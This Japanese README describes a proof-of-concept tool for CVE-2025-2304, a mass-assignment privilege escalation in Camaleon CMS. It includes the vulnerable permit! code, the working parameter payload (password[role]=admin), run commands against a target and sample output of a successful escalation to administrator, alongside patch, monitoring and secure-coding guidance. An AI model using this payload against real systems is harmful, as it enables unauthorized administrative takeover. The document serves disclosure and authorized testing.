
Camaleon CMSにおけるCVE-2025-2304の概念実証 — 重大(CVSS 9.4)な大量代入特権昇格
Camaleon CMS の重大なマスアサインメント脆弱性 CVE-2025-2304 の Proof of Concept (PoC) エクスプロイトです。低権限ユーザーから管理者への権限昇格を可能にします。
██████╗ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗ ███╗ ███╗██╗
██╔══██╗╚════██╗██║ ██║████╗ ██║██╔═████╗████╗ ████║██║
██║ ██║ █████╔╝██║ ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
██║ ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
╚═════╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝
CVE-2025-2304 は、Camaleon CMS の UsersController の updated_ajax メソッドに存在する 重大なマスアサインメント脆弱性です。脆弱性は、Rails の危険な permit! メソッドが原因で生じており、すべてのパラメータがフィルタリングなしで通過することを許します。
この PoC は、低権限の認証済みユーザーがパスワード変更操作中に不正なパラメータを注入することで管理者ロールに昇格できることをデモンストレーションします。
CVSS スコア: 9.4 (致命的)
脆弱なコードは params.require(:user).permit! を使用しており、検証なしですべてのユーザー提供パラメータを受け入れます:
def updated_ajax
user_params = params.require(:user).permit! # 危険!
current_user.update(user_params)
end
攻撃者は正規のパスワード変更フィールドに加えて user[role]=admin のような追加パラメータを注入し、アプリケーションがユーザーロールを管理者に更新するよう仕向けます。
攻撃ベクトル:
/admin/users/{id}/updated_ajax に送信user[role]=admin パラメータを注入--no-password-field フラグで最も安全なテストgit clone https://github.com/d3vhthnnni/cve-2025-2304-poc.git
cd cve-2025-2304-poc
pip install -r requirements.txt
または手動でインストール:
pip install requests beautifulsoup4
python3 cve-2025-2304-poc.py <target_url> -u <username> -p <password> [options]
positional arguments:
target ターゲット URL (例: http://target.com)
required arguments:
-u, --username 認証用の既存ユーザー名
-p, --password ユーザーパスワード
optional arguments:
-h, --help ヘルプメッセージを表示して終了
-v, --verbose 詳細出力(すべてのリクエストを表示)
--proxy PROXY トラフィック検査用の HTTP プロキシ (例: http://127.0.0.1:8080)
--no-password-field パスワードフィールドなしでエクスプロイトをテスト(最も安全)
--skip-admin-test 破壊的な管理者パスワードリセットテストをスキップ
パスワードを保持したまま既存ユーザー認証情報でテスト:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123
エクスプロイトペイロードにパスワードフィールドを含めずにテスト:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --no-password-field
Burp Suite 経由でトラフィックをルーティングし手動検査:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --proxy http://127.0.0.1:8080
すべてのリクエストとレスポンスを表示する詳細出力:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 -v
権限昇格のみテストし、管理者パスワードリセットをスキップ:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --skip-admin-test
██████╗ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗ ███╗ ███╗██╗
██╔══██╗╚════██╗██║ ██║████╗ ██║██╔═████╗████╗ ████║██║
██║ ██║ █████╔╝██║ ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
██║ ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
╚═════╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝
============================================================
CVE-2025-2304 - Camaleon CMS 権限昇格 PoC
マスアサインメント脆弱性テスター
作成者: d3vn0mi | GitHub: github.com/d3vhthnnni
============================================================
[*] ターゲット: http://target.com
[*] ユーザー名: testuser
[*] パスワード: **********
[*] testuser としてログイン中...
[+] ログイン成功
[*] CMS バージョン確認中...
[*] 検出されたバージョン: 2.9.0
[+] このバージョンは脆弱です (< 2.9.1)
============================================================
[*] CVE-2025-2304 マスアサインメント脆弱性のテスト中
============================================================
[*] 対象ユーザー: testuser (ID: 7)
[*] 現在のロール: Client (client)
[*] パスワードは変更されません
[1/7] テスト中: AJAX エンドポイント - user[role]
✗ 失敗
[2/7] テスト中: AJAX エンドポイント - password[role]
============================================================
[+] エクスプロイト成功!
============================================================
[+] 権限昇格: Client → 管理者
[+] 脆弱なエンドポイント: /admin/users/7/updated_ajax
[+] 有効なペイロード: {'password[role]': 'admin'}
[+] パスワード変更なし: ユーザーは通常通りログイン可能
[+] CVE-2025-2304 確認済み!
[✓] CVE-2025-2304 脆弱性確認
| バージョン | ステータス |
|---|---|
| < 2.9.1 | ❌ 脆弱 |
| ≥ 2.9.1 | ✅ パッチ適用済み |
特に脆弱なバージョン:
バージョン 2.9.1 以降にアップグレード
gem update camaleon_cms
ユーザーアカウントの監査
/users/*/updated_ajax への不審な POST リクエストの確認パスワードリセットの強制(侵害が疑われる場合)
安全なコードパターン:
危険な permit! を明示的なホワイトリストに置き換え:
# 修正前(脆弱)
def updated_ajax
user_params = params.require(:user).permit!
current_user.update(user_params)
end
# 修正後(安全)
def updated_ajax
user_params = params.require(:user).permit(:password, :password_confirmation)
current_user.update(user_params)
end
追加のセキュリティ対策:
このツールは教育目的および許可されたセキュリティテスト目的のみで提供されます。
法的注意事項:
倫理的利用:
d3vn0mi
このプロジェクトは MIT ライセンスの下でライセンスされています - 詳細は LICENSE ファイルを参照してください。
コントリビューション、問題、機能リクエストを歓迎します!
issues ページ をチェックしてください。
このプロジェクトが役に立った場合は ⭐ を付けてください!
注: このリポジトリはセキュリティ研究および教育目的です。常に責任ある開示を実践し、テスト前に適切な許可を取得してください。